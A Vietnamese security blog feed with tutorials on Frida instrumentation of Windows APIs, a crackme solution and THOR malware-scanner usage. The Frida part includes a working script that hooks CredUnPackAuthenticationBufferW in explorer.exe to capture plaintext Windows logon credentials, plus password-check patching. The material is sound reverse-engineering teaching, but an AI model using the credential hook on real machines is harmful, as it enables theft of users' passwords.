<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/87875932-d969-41d2-a935-79736d6a5498.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/18891c38-4eb4-4a38-bc28-8372cdb041ff/messagebox_args.png" alt="" style="display:block;margin:0 auto" />

<h2>3.2. Memory Patching bằng Frida</h2>
<p><code>Frida</code> có một ưu điểm đó là trong lúc đang thực hiện hooking vào <code>notepad.exe</code> chúng ta có thể sửa mã JavaScript mà không cần phải chạy lại Frida, mã chúng ta sửa ngay lập tức được cập nhật. Chúng ta tiến hành sửa đoạn JavaScript trước đó thành như sau:</p>
<pre><code class="language-jsx">var messageBox = Module.getExportByName(null, "MessageBoxW");
var writeFile = Module.getExportByName(null, "WriteFile");
var buff = Memory.allocUtf16String("F*ck y0u!!!!!!!")

Interceptor.attach(messageBox, {
    onEnter: function(args)
    {
		args[1] = buff
		args[2] = buff
		console.log("\nMessageBoxW at: " + messageBox);		
        console.log("  lpText: " + Memory.readUtf16String(args[1]));
        console.log("  lpCaption: " + Memory.readUtf16String(args[2]));
    }
});

Interceptor.attach(writeFile, {
    onEnter: function(args)
    {
		args[1] = buff
		console.log("\nWriteFile at: " + writeFile);
        console.log("  Buffer dump:\n" + hexdump(args[1]));
        console.log("  Buffer via utf16String: " + Memory.readUtf16String(args[1]));
    }
});
</code></pre>
<p>Kết quả sau khi hook hàm <code>MessageBoxW</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/ca0df6b4-a155-4b80-806a-c6117851c5b1.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/447ded79-eb0a-40e8-b372-dd37982a35ef/messagebox_hooked.png" alt="" style="display:block;margin:0 auto" />

<p>Kết quả sau khi hook hàm <code>WriteFile</code></p>
<pre><code class="language-powershell">WriteFile at: 0x7fff9f8b4fd0
  Buffer dump:
              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
1e1a4376d40  46 00 2a 00 63 00 6b 00 20 00 79 00 30 00 75 00  F.*.c.k. .y.0.u.
1e1a4376d50  21 00 21 00 21 00 21 00 21 00 21 00 21 00 00 00  !.!.!.!.!.!.!...
..
1e1a4376e30  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  Buffer via utf16String: F*ck y0u!!!!!!!
</code></pre>
<h2>3.3. Chặn bắt thông tin xác thực trên Windows 10</h2>
<p>Sử dụng <code>Frida</code> để chặn bắt thông tin xác thực người dùng. Đầu tiên hãy kiểm tra PID của tiến trình <code>explorer</code>. Chúng ta cần kiểm tra tiến trình này là vì thông thường khi chạy một chương trình thì nó là tiến trình con của <code>explorer</code>.</p>
<pre><code class="language-powershell">$ frida-ps | findstr "explorer"
20128  explorer.exe
</code></pre>
<p>Sử dụng <code>Frida-Trace</code> để theo dõi các API được gọi đến trong quá trình xử lý dữ liệu xác thực từ người dùng. Tôi sử dụng tham số <code>-i "*Cred*"</code> để lọc các API chứa chuỗi <code>Cred</code>, <code>-x "CredFree"</code> sẽ không theo dõi hàm <code>CredFree()</code>.</p>
<pre><code class="language-powershell">$ frida-trace -i "*Cred*" -x "CredFree" -p 20128
</code></pre>
<p>Khởi chạy chương trình <code>C:\Windows\System32\notepad.exe</code> với tùy chọn <code>Run as different user</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/cfcb8c6e-8e7d-4764-984c-9595059368b8.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/df05a388-f0a3-4075-b224-2d2fbeadc585/run_as_diff_user.png" alt="" style="display:block;margin:0 auto" />

<p>Lúc này một hộp thoại <code>Windows Security</code> xuất hiện đòi chúng ta nhập thông tin xác thực. Đồng thời ta quan sát trong <code>Frida</code>, hàm <code>CredUIPromptForWindowsCredentialsW()</code> được gọi:</p>
<pre><code class="language-powershell">Started tracing 159 functions. Press Ctrl+C to stop.
           /* TID 0x42c0 */
 90061 ms  CredUIPromptForWindowsCredentialsW()
 90061 ms     | CredUIInternalPromptForWindowsCredentialsW()
 90061 ms     |    | CredUIInternalPromptForWindowsCredentialsWorker()
</code></pre>
<p>Nhập đại một vài thông tin nào đó sau đó nhấn OK.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/84acd78a-3176-4efa-96e8-dd7099ad8cd9.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/fa3a6e3c-b74f-42e1-9f67-648949ff767c/windows_security_promp.png" alt="" style="display:block;margin:0 auto" />

<p>Quan sát trong <code>Frida</code> ta thấy một số API thú vị sau được gọi:</p>
<pre><code class="language-powershell">257149 ms  CredUnPackAuthenticationBufferW()
257149 ms  CredUnPackAuthenticationBufferW()
257149 ms     | CredUnprotectW()
257149 ms     |    | CredUnprotectEx()
257149 ms     |    |    | CredUnmarshalCredentialW()
257149 ms  CredUIParseUserNameW()
257149 ms     | CredIsMarshaledCredentialW()
257149 ms     |    | CredUnmarshalCredentialW()
257150 ms  CredUIPromptForWindowsCredentialsW()
257150 ms     | CredUIInternalPromptForWindowsCredentialsW()
257150 ms     |    | CredUIInternalPromptForWindowsCredentialsWorker()
</code></pre>
<p>Chúng ta không cần quan tâm đến đoạn: <code>257150 ms CredUIPromptForWindowsCredentialsW()</code> vì đoạn này lặp lại đoạn trước đó, nó hiển thị hộp thoại <code>Windows Security</code> đòi nhập thông tin xác thực. Hàm cần quan tâm nhiều hơn là <code>CredUnPackAuthenticationBufferW()</code>. Cùng xem định nghĩa của hàm này trên MSDN:</p>
<pre><code class="language-cpp">CREDUIAPI BOOL CredUnPackAuthenticationBufferW(
  DWORD  dwFlags,
  PVOID  pAuthBuffer,
  DWORD  cbAuthBuffer,
  LPWSTR pszUserName,
  DWORD  *pcchMaxUserName,
  LPWSTR pszDomainName,
  DWORD  *pcchMaxDomainName,
  LPWSTR pszPassword,
  DWORD  *pcchMaxPassword
);
</code></pre>
<p>Tham số mà chúng ta cần quan tâm đó là: <code>pszUserName</code> và <code>pszPassword</code>.</p>
<pre><code class="language-jsx">var pszUserName, pszPassword, decryptedUsername, decryptedPassword;
var credUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW");

Interceptor.attach(credUnPackAuthenticationBufferW, {
    onEnter: function (args)
	{
        // Credentials here are still encrypted
        pszUserName = args[3];
        pszPassword = args[7];
    },
    
		onLeave: function (result)
		{
        // Credentials are now decrypted
        decryptedUsername = pszUserName.readUtf16String()
        decryptedPassword = pszPassword.readUtf16String()
        if (decryptedUsername &amp;&amp; decryptedPassword)
		{
			console.log("\n[*] Intercepted Credentials: ");
			console.log("[+] Username: " + decryptedUsername);
			console.log("[+] Password: " + decryptedPassword);
        }
    }
});
</code></pre>
<p>Dùng Frida hook vào <code>Explorer</code>:</p>
<pre><code class="language-powershell">$ frida-ps | findstr "explorer"
 6724  explorer.exe

$ frida -l .\hooking\credential_theft.js -p 6724
</code></pre>
<p>Làm tương tự các bước như trên để nhập <code>username</code> và <code>password</code>. Sau đó quan sát trên Frida, ta có được thông tin xác thực đã bị chặn bắt:</p>
<pre><code class="language-powershell">$ frida -l .\hooking\credential_theft.js -p 6724
[Local::PID::6724]-&gt;
[*] Intercepted Credentials:
[+] Username: %COMPUTERNAME%\Alice
[+] Password: this_1s_s3cret_passw0rd
</code></pre>
<h2>3.4. Remote Debugging/Hooking với Frida</h2>
<p>Ở các phần trước chúng ta đã thực hành <strong>Tracing</strong>, <strong>Patching</strong> với <strong>Frida</strong>, tuy nhiên những gì chúng ta làm chỉ là trên một máy (<strong>localhost</strong>). Phần này chúng ta sẽ đi giải một <strong>CrackMe</strong> đơn giản và chương trình CrackMe này sẽ nằm ở một máy tính khác không phải localhost. Để làm được điều này thì máy tính chạy CrackMe kia cần phải chạy <strong>Frida-Server</strong>, chương trình này sẽ chạy lắng nghe trên một <strong>IP:PORT</strong> nào đó và đợi kết nối đến. Từ một máy tính khác sử dụng <strong>Frida-CLI</strong> (Client) để kết nối Server đến thông qua giao thức TCP.</p>
<p>Chương trình <strong>CrackMe</strong> của chúng ta hoạt động như sau: Nhập mật khẩu sau đó kiểm tra nếu đúng thì in ra <code>Congrats!</code> còn nếu sai thì in ra <code>Try again.</code></p>
<pre><code class="language-powershell">$ crackme-101.exe
Enter Password: 123456
Try again.
</code></pre>
<p>Đầu tiên hãy tải Frida Server ứng với phiên bản Hệ điều hành đang sử dụng tại: <a href="https://github.com/frida/frida/releases">https://github.com/frida/frida/releases</a>. Tôi sử dụng <strong>Windows 10 64-bits</strong> nên tôi tải file: <code>frida-server-&lt;version&gt;-windows-x86_64.exe.xz</code>. Sau đó khởi chạy Frida-Server trên máy chạy CrackMe: Tham số <code>-l</code> chỉ ra địa chỉ ip muốn lắng nghe, có thể lắng nghe trên một interface cụ thể của máy hoặc tất cả các interface:</p>
<pre><code class="language-powershell">$ frida-server.exe -l 0.0.0.0
</code></pre>
<p>Kiểm tra lại và đảm bảo rằng <strong>Frida-Server</strong> chắc chẵn đã chạy, nếu có bật tường lửa thì cần cho phép kết nối thông qua <strong>Port 27042</strong> vì đây là Port mặc định của Frida-Server:</p>
<pre><code class="language-powershell">$ netstat -ano | findstr :27042
  TCP    0.0.0.0:27042          0.0.0.0:0              LISTENING       312
</code></pre>
<pre><code class="language-powershell">$ tasklist /fi "pid eq 312"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
frida-server.exe               312 RDP-Tcp#5                  2      7,976 K
</code></pre>
<p>Kiểm tra chương trình bằng bất kỳ một công cụ nào như: <strong>CFF Explorer, PE-Studio, PE-Bear</strong>,.v.v.. chúng ta đều có thể thấy chương trình này có Import một hàm <code>strncmp()</code>. Chúng ta sẽ hook hàm này. Trên một máy tính khác (Client) có cài bộ công cụ <code>Frida-Tools</code>. Trước tiên chúng ta thực hiện như sau, để xác nhận rằng chương trình CrackMe có gọi đến hàm <code>strncmp()</code>. Trong đó <code>192.168.40.98</code> là địa chỉ máy từ xa, còn <code>C:\Users\Admin\Desktop\Sample\crackme-101.exe</code> là đường dẫn chương trình muốn chạy.</p>
<pre><code class="language-powershell">$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe
</code></pre>
<p>Tại máy từ xa lúc này khi kiểm tra bằng Process Explorer chúng ta sẽ thấy CrackMe được Run bởi Frida-Server</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/35ffed0c-8042-4247-a1a7-6545d1dc82b1.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7d405931-779c-483a-9a73-99c3266f3218/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Trên Console của Frida-Server, nhập mật khẩu sau đó quan sát kết quả:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/c10b84ed-651c-4478-9056-1bb2d515b8cf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/66b7d181-27f7-4d6a-a0d2-abf6d94b44cc/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Quay lại phía client chúng ta thấy hàm strncmp() đã được gọi</p>
<pre><code class="language-powershell">$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe
Instrumenting...
...
Started tracing 3 functions. Press Ctrl+C to stop.
           /* TID 0x2230 */
435830 ms  strncmp()
Process terminated
</code></pre>
<p>Tiến hành viết Script hook vào hàm <code>strncmp()</code>: Xem định định nghĩa hàm này tại: <a href="https://www.cplusplus.com/reference/cstring/strncmp/">https://www.cplusplus.com/reference/cstring/strncmp/</a></p>
<pre><code class="language-jsx">var strncmp = Module.findExportByName("msvcrt.dll", "strncmp");

Interceptor.attach(strncmp, {
    onEnter: function(args)
    {
		console.log("\nstrncmp at: " + strncmp);		
        console.log("  str1: " + Memory.readUtf8String(args[0]));
        console.log("  str2: " + Memory.readUtf8String(args[1]));
        console.log("   num: " + args[2]);
    }
});
</code></pre>
<p>Trên máy client chạy lại lần 1 và trên máy từ xa nhập mật khẩu là <code>123456</code> và quan sát kết quả:</p>
<pre><code class="language-powershell">$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause
...
[Remote::crackme-101.exe]-&gt;
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: 8;:=&lt;?♥
   num: 0x14
Process terminated
</code></pre>
<p>Trên máy client chạy lại lần 2 và trên máy từ xa nhập mật khẩu là <code>abc123</code> và quan sát kết quả:</p>
<pre><code class="language-powershell">[Remote::crackme-101.exe]-&gt;
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: hkj8;:♥
   num: 0x14
Process terminated
</code></pre>
<p>Nhận thấy chuỗi <code>str1</code> sau các lần chạy đều không thay đổi, chỉ có dữ liệu nhập tức <code>str2</code> là thay đổi, như vậy khả năng dữ liệu nhập của chúng ta phải đi qua một hàm mã hóa nào đó, cuối cùng kết quả mới đem so sánh với chuỗi <code>str1</code> là <code>z8dye:Vq9{V:gJ{py}(</code>. Lúc này cần một chút kiến thức về Static Code Analysis, sau khi phân tích biết được hàm mã hóa sử dụng phép <strong>XOR</strong> để mã hóa. Nhận thấy đặc điểm của phép XOR gồm 3 toán hạng và nếu đem bất kỳ 2 toán hạng nào trong đó XOR với nhau thì sẽ ra toán hạng còn lại. Như vậy nếu chúng ta nhập chuỗi <code>str1</code> của chương trình thì chuỗi <code>str2</code> sẽ là mật khẩu cần tìm. Trên máy Remote thực hiện:</p>
<pre><code class="language-powershell">...
Enter Password: z8dye:Vq9{V:gJ{py}(
Try again.
</code></pre>
<p>Tại máy client quan sát được:</p>
<pre><code class="language-powershell">[Remote::crackme-101.exe]-&gt;
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: s1mpl3_x0r_3nCrypt!
   num: 0x14
Process terminated
</code></pre>
<p>Sử dụng Password tìm được là chuỗi <code>str2</code>, để kiểm tra. Kết quả chương trình hiện ra <code>Congrats!</code></p>
<pre><code class="language-powershell">...
Enter Password: s1mpl3_x0r_3nCrypt!
Congrats!
</code></pre>
<p>Khi đó trên máy Client quan sát ta sẽ thấy được:</p>
<pre><code class="language-powershell">[Remote::crackme-101.exe]-&gt;
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: z8dye:Vq9{V:gJ{py}(
   num: 0x14
Process terminated
</code></pre>
<p>Ngoài ra cũng có cách khác để giải quyết CrackMe này đó là <strong>Memory Patching</strong>, khi hook vào hàm <code>strncmp()</code> chúng ta sẽ làm cho điều kiện trả về là 2 chuỗi luôn luôn bằng nhau.</p>
<pre><code class="language-jsx">var strncmp = Module.findExportByName("msvcrt.dll", "strncmp");

Interceptor.attach(strncmp, {

    onEnter: function(args)
    {
        args[1] = args[0]
		console.log("\nstrncmp at: " + strncmp);		
        console.log("  str1: " + Memory.readUtf8String(args[0]));
        console.log("  str2: " + Memory.readUtf8String(args[1]));
    }
});
</code></pre>
<p>Lúc này chúng ta nhập bất kỳ mật khẩu nào chương trình vẫn in ra chuỗi <code>Congrats!</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/dcb4b55b-3b98-4a3c-ad6d-690c0654df18.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/6a61c8a6-390a-4c37-951f-1cba0c3ff5b1/Untitled.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-powershell">$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause
...
Spawned `C:\Users\Admin\Desktop\Sample\crackme-101.exe`. Resuming main thread!
[Remote::crackme-101.exe]-&gt;
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: z8dye:Vq9{V:gJ{py}(
Process terminated
</code></pre>
<h1>4. Tham khảo</h1>
<ul>
<li><p>Instrumenting Windows APIs with Frida - <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida">https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida</a></p>
</li>
<li><p>Getting Started with Frida: Hooking a Function and Replacing its Arguments - <a href="https://blog.fadyothman.com/getting-started-with-frida-hooking-main-and-playing-with-its-arguments">https://blog.fadyothman.com/getting-started-with-frida-hooking-main-and-playing-with-its-arguments</a></p>
</li>
<li><p>Using Frida For Windows Reverse Engineering - <a href="https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html">https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html</a></p>
</li>
<li><p>3 Ways to Run App as Different User in Windows 10 - <a href="https://www.top-password.com/blog/run-app-as-different-user-in-windows-10/">https://www.top-password.com/blog/run-app-as-different-user-in-windows-10/</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Frida 101: Nhập môn]]></title><description><![CDATA[1. Phương pháp Instrumentation
Instrumentation: Là phương pháp thêm một số đoạn mã trung gian (gọi là Instrumentation Code - IC) vào chương trình để lấy các thông tin hay sửa đổi hành vi chương trình ]]></description><link>https://blog.lehonghai.com/frida-101-nhap-mon</link><guid isPermaLink="true">https://blog.lehonghai.com/frida-101-nhap-mon</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 10 May 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h1>1. Phương pháp Instrumentation</h1>
<p><strong>Instrumentation:</strong> Là phương pháp thêm một số đoạn mã trung gian (gọi là <strong>Instrumentation Code - IC</strong>) vào chương trình để lấy các thông tin hay sửa đổi hành vi chương trình trong quá trình nó thực thi. Để thực hiện Instrumentation, có 2 phương pháp chính đang được sử dụng hiện nay:</p>
<ol>
<li><p><strong>Source Code Instrumentation (SCI):</strong> Tức là thêm IC vào chương trình trước khi biên dịch. Quá trình này chỉ thực hiện được nếu có source code của chương trình. Đây là phương pháp instrumentation mà <a href="https://lcamtuf.coredump.cx/afl/"><strong>American Fuzzy Lop</strong></a> (AFL Fuzzer) của <a href="https://twitter.com/lcamtuf"><strong>lcamtuf</strong></a> đang sử dụng.</p>
</li>
<li><p><strong>Binary Instrumentation (BI):</strong> Là phương pháp thêm IC vào chính file thực thi của chương trình. <strong>BI</strong> cũng có 2 phương pháp có thể thực hiện:</p>
<ul>
<li><p><strong>Static Instrumentation</strong>: Sử dụng một chương trình disassembler hay emulator để ghi các đoạn mã IC vào trong binary nhưng không làm thay đổi hoạt động của chương trình ban đầu.</p>
</li>
<li><p><strong>Dynamic Instrumentation</strong>: Chèn IC vào chương trình trong quá trình thực thi, không làm ảnh hưởng tới file binary ban đầu. Đây là cách tiếp cận của <strong>Pin</strong>, <strong>Frida</strong>, <strong>DynamoRIO</strong>,.v.v..</p>
</li>
</ul>
</li>
</ol>
<p><strong>Ứng dụng của Instrumentation:</strong> Flow Analysis, Taint Analysis, Fuzzing, Code Coverage, Test Case Generation, Reverse Engineering, Debugging, Vulnerability Detection, Patching, Exploit Development,.v.v..</p>
<h1>2. Giới thiệu và cài đặt Frida Framework</h1>
<p><strong>2.1. Giới thiệu</strong></p>
<p><strong>Frida</strong> được ví như là <a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/">Greasemonkey</a> dành cho Native Application. Nói một cách kỹ thuật hơn thì Frida là một <strong>Dynamic Code Instrumentation Toolkit</strong>, như đã trình bày ở phần trước Frida sử dụng phương pháp <strong>DBI</strong>. <strong>Frida</strong> cho phép chúng ta đưa mã <strong>JavaScript</strong> ta viết vào các ứng dụng chạy trên Windows, macOS, Linux, iOS, Android,.v.v..</p>
<p>Phần core của Frida được viết bằng ngôn ngữ lập trình C và để thực thi được mã JavaScript bên trong một tiến trình thì Frida đã sử dụng một Javascript Engine đó là: <a href="https://bellard.org/quickjs/"><strong>QuickJS</strong></a>. Đây là thành phần sẽ thực thi mã JavaScript của chúng ta viết.</p>
<p>Frida có thể được sử dụng với nhiều ngôn ngữ lập trình khác nhau thông qua các API mà Frida cung cấp. Các ngôn ngữ lập trình hiện tại đang được hỗ trợ: C, NodeJS, Python, Swift, .NET, Qml,.v.v..</p>
<p><strong>Một vài Ưu điểm của Frida:</strong></p>
<ul>
<li><p><strong>Scriptable</strong>: Đưa các mã JavaScript của bạn vào bên trong một tiến trình. Hook vào bất kỳ hàm nào, theo dõi đầu vào và đầu ra của các hàm này. Thậm chí là sửa đổi hành vi thực thi của chương trình. Mọi thứ thực hiện không cần mã nguồn của ứng dụng, trong quá trình thực thi mọi thứ chúng ta viết không cần biên dịch, không cần phải khởi động lại mỗi lần sửa đổi mã JavaScript,.v.v..</p>
</li>
<li><p><strong>Portable</strong>: Hoạt động đa nền tảng: Windows, Linux, macOS, iOS, Android,.v.v.. Hỗ trợ nhiều ngôn ngữ lập trình: Python, .NET, C, Swift,.v.v..</p>
</li>
<li><p><strong>Free</strong>: Luôn miễn phí và nguồn mở</p>
</li>
<li><p><strong>Battle-tested</strong>: Rất nhiều nhà cung cấp dịch vụ bảo mật, hãng bảo mật làm các sản phẩm lớn đã và đang sử dụng Frida trong dự án của họ. Và Frida đã trải qua nhiều năm thử nghiệm với nhiều case sử dụng.</p>
</li>
</ul>
<p><strong>2.2. Cài đặt</strong></p>
<p>Frida có sẵn một bộ các công cụ được viết bằng Python. Có thể cài đặt Frida thông qua <strong>Pip</strong>:</p>
<pre><code class="language-bash">$ pip install frida-tools
</code></pre>
<p>Thao tác này sẽ cài đặt bộ các công cụ của Frida được viết bằng Python như: <code>frida-create</code>, <code>frida-discover</code>, <code>frida-kill</code>, <code>frida-ls-devices</code>, <code>frida-ps</code>, <code>frida-trace</code>, <code>frida</code></p>
<p>Để sử dụng Frida thông qua <strong>Python API</strong>. Có thể cài đặt Frida Package thông qua <strong>Pip</strong>:</p>
<pre><code class="language-bash">$ pip install frida
</code></pre>
<h1>3. Tài liệu tham khảo</h1>
<ul>
<li><p>Giới thiệu Intel Pin Binary Instrumentation Tool - <a href="https://develbranch.com/tutorials/gioi-thieu-intel-pin-binary-instrumentation.html">https://develbranch.com/tutorials/gioi-thieu-intel-pin-binary-instrumentation.html</a></p>
</li>
<li><p>Dynamic Binary Instrumentation Frameworks: I know youre there spying on me - <a href="https://www.coresecurity.com/core-labs/publications/dynamic-binary-instrumentation-frameworks">https://www.coresecurity.com/core-labs/publications/dynamic-binary-instrumentation-frameworks</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[THOR Scanner 101]]></title><description><![CDATA[THOR Scanner có nhiều tùy chọn khi quét, tùy trường hợp mà sử dụng cho phù hợp. Khi gặp các máy chủ có dung lượng disk lớn và chứa nhiều dữ liệu, nếu ta quét ở chế độ mặc định có thể sẽ tốn rất nhiều ]]></description><link>https://blog.lehonghai.com/thor-scanner-101</link><guid isPermaLink="true">https://blog.lehonghai.com/thor-scanner-101</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Wed, 28 Apr 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p><strong>THOR Scanner</strong> có nhiều tùy chọn khi quét, tùy trường hợp mà sử dụng cho phù hợp. Khi gặp các máy chủ có dung lượng disk lớn và chứa nhiều dữ liệu, nếu ta quét ở chế độ mặc định có thể sẽ tốn rất nhiều thời gian. Vì vậy cần lựa chọn các option của <strong>THOR</strong> sao cho phù hợp:</p>
<p>Theo mặc định trong cấu hình của <strong>THOR</strong> như sau: <code>.\config\thor.yml</code></p>
<ul>
<li><p><code>max_runtime: 168</code> ⇒ Dừng quét THOR sau 7 ngày nếu nó vẫn chưa quét xong</p>
</li>
<li><p><code>min: 40</code> ⇒ THOR đánh điểm số cho mỗi file hoặc mỗi artifact mà nó phát hiện. <strong>40</strong> điểm là số điểm tối thiểu sẽ đưa vào Report</p>
</li>
<li><p><code>max_file_size: 12000000</code> ⇒ Kích thước tệp tối đa có thể quét: <strong>~12MB</strong></p>
</li>
<li><p><code>max_file_size_intense: 30000000</code> ⇒ Ở chế độ: <code>--fsonly, --intense</code> THOR có thể quét tệp lớn hơn <code>max_file_size</code>, cấu hình này chỉ định kích thước tối đa của tệp khi quét chế độ này.</p>
</li>
<li><p><code>cpulimit: 95</code> ⇒ Không cho THOR quét vượt quá <strong>95%</strong> CPU</p>
</li>
<li><p><code>minmem: 50</code> ⇒ Dung lượng bộ nhớ trống tối thiểu để THOR có thể chạy: <strong>50MB</strong></p>
</li>
<li><p><code>truncate: 2048</code> ⇒ Giới hạn số ký tự đầu ra của THOR, không vượt quá độ dài là: <strong>2048</strong></p>
</li>
</ul>
<p>Mặc định phiên bản <strong>THOR-Lite</strong> (free) chỉ có các Module sau: <code>Autoruns, ProcessCheck, Filesystem Checks</code></p>
<h1>1. Malware Files Scanner</h1>
<h2>1.1. Quét thư mục và mã hóa Report</h2>
<p>Sử dụng trong trường hợp quét <code>malware</code>, <code>webshell</code>, <code>các tệp tin khả nghi</code> trên hệ thống hoặc trong một thư mục cụ thể:</p>
<pre><code class="language-powershell">$ .\thor-lite.exe --fsonly --path "path\to\dir\" --json --encrypt --pubkey ".\thor-lite-rsa.pem" --silent
</code></pre>
<p>Hoặc với <code>CMD.EXE</code>:</p>
<pre><code class="language-plaintext">$ thor-lite.exe --fsonly --path "path\to\dir\" --json --encrypt --pubkey "thor-lite-rsa.pem" --silent
</code></pre>
<p>C<strong>ác tham số:</strong></p>
<ul>
<li><p><code>--fsonly</code>: Chỉ quét tệp tin hệ thống. Tham số: <code>--path "path\to\dir\"</code> sẽ chỉ định thư mục được quét, nếu không có tham số này thì THOR sẽ quét toàn bộ các phân vùng, sẽ tốn nhiều thơn gian hơn.</p>
</li>
<li><p><code>--path</code>: Chỉ định quét một thư mục hoặc một phân vùng</p>
</li>
<li><p><code>--json</code>: Ghi Report dưới dạng <code>JSON</code>. Tên Report được Gen tự động. Sử dụng tham số: <code>--jsonfile "example.json"</code> để chỉ định tên tệp Report</p>
</li>
<li><p><code>--encrypt</code>: Mã hóa Report bằng thuật toán RSA. Theo mặc định sử dụng Public key được hardcode. Nếu muốn chỉ định Public key thì dùng thêm tham số: <code>--pubkey ".\thor-lite-rsa.pem"</code></p>
</li>
<li><p><code>--silent</code>: Không in bất kỳ thông tin, logs gì cả trong quá trình THOR quét ra console.</p>
</li>
</ul>
<p>Theo mặc định thì <strong>THOR</strong> xuất Report gồm các file: <code>*.csv</code> (chứa md5, filepath, score) của các tệp bị phát hiện là malware, <code>*.htm</code> (dạng htm/html, có thể mở bằng trình duyệt), <code>*.txt</code> (dạng plaintext, quan trọng khi muốn tổng hợp tất cả các report lại thành một file report dạng HTML sau này). Và khi thêm tham số <code>--json</code> hoặc <code>--jsonfile</code> sẽ có thêm tệp report dạng <code>*.json</code>.</p>
<h2>1.2. Giải mã các Report</h2>
<p>Giải mã các tệp report của <strong>THOR</strong> đã quét trước đó nếu dùng tùy chọn mã hóa tệp tin:</p>
<pre><code class="language-powershell">$ .\thor-lite-util.exe decrypt --privkey "path\to\thor-rsa-private.pem" .\DESKTOP-VQP1V6E_files_md5s.csv .\DESKTOP-VQP1V6E_thor_2021-04-28_1548.htm .\DESKTOP-VQP1V6E_thor_2021-04-28_1548.txt .\DESKTOP-VQP1V6E_thor_2021-04-28_1548.json

Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_files_md5s.csv' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_thor_2021-04-28_1548.htm' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_thor_2021-04-28_1548.txt' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_thor_2021-04-28_1548.json' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
</code></pre>
<p>Sử dụng <code>Powershell</code> để tự động hóa với số lượng lớn các report:</p>
<pre><code class="language-powershell">$ cd "path\to\report\dir\"
\( \)files = (Get-ChildItem).Name
\( \)thor_cmd = "path\to\thor-lite-util.exe decrypt --privkey path\to\key.pri "
\( foreach(\)item in \(files) { Invoke-Expression -Command "\)thor_cmd $item" }
</code></pre>
<p>Hoặc với <code>CMD.EXE</code>:</p>
<pre><code class="language-plaintext">$ thor-lite-util.exe decrypt --privkey "path\to\thor-rsa-private.pem" DESKTOP-VQP1V6E_files_md5s.csv DESKTOP-VQP1V6E_thor_2021-04-28_1604.htm DESKTOP-VQP1V6E_thor_2021-04-28_1604.json DESKTOP-VQP1V6E_thor_2021-04-28_1604.txt

Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_files_md5s.csv' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
